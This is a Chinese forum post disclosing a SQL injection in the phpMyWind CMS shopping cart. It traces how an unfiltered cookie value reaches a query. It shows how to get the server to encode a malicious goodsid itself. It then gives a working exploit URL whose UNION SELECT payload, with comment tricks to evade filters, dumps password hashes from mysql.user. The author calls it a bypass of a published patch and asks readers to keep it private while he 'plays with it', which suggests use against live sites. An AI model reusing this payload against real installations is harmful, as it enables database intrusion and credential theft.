phpMyWind又一注入(无视知道创宇补丁)

改完ID后第一次发帖,本来是说改个东邪,和西毒一起搞基的,谁知这货居然消失了,╮(╯▽╰)╭。 最近看知道创宇在微博上各种转发这个漏洞,就跑去T00Ls看了下,谁知看着看着,看到了另一个注入点,这尼玛人品也太好了O(∩_∩)O。 这个漏洞暂时我还想先玩一阵,所以各位先不要发到外面。 废话不多说了,看正文吧。 0x01 漏洞原理 漏洞在shoppingcart.php文件大约152行处: [php] $goods) { ?> GetOne("SELECT * FROM `#@__goods` WHERE `id`=".$goods[0]);[/color] //省略部分代码[/php] 可以从代码开始部分看到,$goods变量是从cookie中取出的shoppingcart字段值直接反序列化后的内容,没有进行任何的过滤和校验。 0x02 利用分析 我们先来整理下我们目前所获得的信息,我们可以通过控制cookie中的shoppingcart字段值来向代码中传入自定义内容,这部分内容是一个数组,并且第一个元素会没有经过任何校验和过滤带入到SQL查询中。 但是cookie中的这个字段会进行AuthCode的解码处理,这个处理需要用到服务端所使用到的key,这是我们无法获得的,所以我们需要找一个地方将我们所自定义的内容继续进行AuthCode的编码处理。我是怎么找到这个地方的呢?且听我慢慢到来。 这个漏洞是在看T00ls社区M3loee所公布的《T00ls元旦献礼之一:PhpMyWind SQL Injection 0day》时发现的。所以我们先来看下这个漏洞出现问题的分支部分代码: [php] if($a == 'addshopingcart') { //省略部分代码 //初始化购物车字符串 if(!empty($_COOKIE['shoppingcart'])) $shoppingcart = unserialize(AuthCode($_COOKIE['shoppingcart'])); else $shoppingcart = array(); //选中信息存入数组 if(isset($goodsid) && isset($buynum) && isset($goodsattr)) { [color=#ff0000] $shoppingcart[] = array($goodsid, $buynum, $goodsattr);[/color] } //存入COOKIE [color=#ff0000] setcookie('shoppingcart', AuthCode(serialize($shoppingcart),'ENCODE'));[/color] echo TRUE; exit(); }//省略部分代码[/php] 看到setcookie那行,就是对$shoppingcart变量内容进行序列化并发送至cookie。而phpMyWind的参数传递风格是使用for循环将GET和POST参数进行变量化的,就像DeDecms一样。这样的话,$goodsid、$buynum和$goodsattr三个变量的内容是可以控制的。再看$shoppingcart变量的赋值,可以发现之前那段代码中的goods[0]就是这里的$goodsid。 到这里我们重新整理下思路,在addshopingcart这个分支中,通过提交goodsid参数向$shoppingcart[0]中赋值,然后$shoppingcart被序列化发送到客户端。客户端再次访问这个页面,并发送刚刚得到的cookie,服务端将shoppingcart的值进行发序列化,并将数组中第一个元素的值带入到SQL查询中。 这样如果我们向goodsid中传递带有恶意查询的内容,就会造成SQL注入问题。并且我们还在后面的页面输出中发现这样一行代码: [php] echo ''[color=#ff0000].$r['title'].[/color]'';[/php] 也就是说我们可以将注入结果放置到title这个字段中,就可以直接获取SQL查询的回显了,不再需要报错或者盲注了。 0x03 漏洞重现 首先访问 [php]http://0day5.com/shoppingcart.php?a=addshopingcart&goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from mysql.user where 1=1 or @`'`&buynum=1&goodsattr=tpcs[/php] 然后访问 [php]http://0day5.com/phpmywind4.6.6/shoppingcart.php[/php],获取注入信息,效果如下图所示: 1

1 条评论

  1. […] ? […]

发表评论